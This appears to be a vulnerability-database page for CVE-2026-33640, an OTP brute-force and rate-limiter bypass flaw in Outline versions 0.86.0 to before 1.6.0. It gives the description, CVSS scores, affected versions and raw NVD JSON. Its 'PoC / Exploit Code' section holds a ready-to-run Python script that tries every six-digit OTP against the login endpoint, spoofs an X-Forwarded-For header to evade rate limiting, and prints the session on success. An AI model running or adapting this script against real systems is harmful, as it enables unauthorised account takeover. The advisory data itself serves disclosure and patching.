Security Vulnerability Report
中文
CVE-2026-33640 CVSS 9.8 CRITICAL

CVE-2026-33640

Published: 2026-03-26 21:17:08
Last Modified: 2026-03-31 01:42:35

Description

Outline is a service that allows for collaborative documentation. Outline implements an Email OTP login flow for users not associated with an Identity Provider. Starting in version 0.86.0 and prior to version 1.6.0, Outline does not invalidate OTP codes based on amount or frequency of invalid submissions, rather it relies on the rate limiter to restrict attempts. Consequently, identified bypasses in the rate limiter permit unrestricted OTP code submissions within the codes lifetime. This allows attackers to perform brute force attacks which enable account takeover. Version 1.6.0 fixes the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:getoutline:outline:*:*:*:*:*:*:*:* - VULNERABLE
Outline >= 0.86.0, < 1.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Target configuration target_url = "https://target-outline.com/api/otp.login" email_address = "[email protected]" # Simulation of bypassing rate limiter (e.g., rotating headers or IPs) headers = { "User-Agent": "Mozilla/5.0...", "X-Forwarded-For": "127.0.0.1" # Example bypass technique } print(f"[*] Starting brute force on {email_address}...") # Iterate through possible OTP codes (000000 to 999999) for code in range(1000000): otp = f"{code:06d}" payload = { "email": email_address, "token": otp } try: # Send request response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Check for successful login indicators (e.g., 200 OK with session token) if response.status_code == 200 and "session" in response.text: print(f"[+] SUCCESS! OTP found: {otp}") print(f"[+] Response: {response.text}") break else: # Optional: print failure to monitor progress # print(f"[-] Failed attempt: {otp}") pass except Exception as e: print(f"[-] Error: {e}") # Note: In a real rate limiter bypass scenario, delays or proxy rotation might be needed. # time.sleep(0.1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33640", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:07.637", "lastModified": "2026-03-31T01:42:34.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outline is a service that allows for collaborative documentation. Outline implements an Email OTP login flow for users not associated with an Identity Provider. Starting in version 0.86.0 and prior to version 1.6.0, Outline does not invalidate OTP codes based on amount or frequency of invalid submissions, rather it relies on the rate limiter to restrict attempts. Consequently, identified bypasses in the rate limiter permit unrestricted OTP code submissions within the codes lifetime. This allows attackers to perform brute force attacks which enable account takeover. Version 1.6.0 fixes the issue."}, {"lang": "es", "value": "Outline es un servicio que permite la documentación colaborativa. Outline implementa un flujo de inicio de sesión con OTP por correo electrónico para usuarios no asociados con un Proveedor de Identidad. A partir de la versión 0.86.0 y antes de la versión 1.6.0, Outline no invalida los códigos OTP basándose en la cantidad o frecuencia de envíos inválidos, sino que se basa en el limitador de velocidad para restringir los intentos. En consecuencia, los bypasses identificados en el limitador de velocidad permiten el envío ilimitado de códigos OTP dentro de la vida útil de los códigos. Esto permite a los atacantes realizar ataques de fuerza bruta que posibilitan la toma de control de cuentas. La versión 1.6.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getoutline:outline:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.86.0", "versionEndExcluding": "1.6.0", "matchCriteriaId": "618371C5-39DB-422A-9E34-034A84D32E3A"}]}]}], "references": [{"url": "https://github.com/outline/outline/releases/tag/v1.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/outline/outline/security/advisories/GHSA-cwhc-53hw-qqx6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}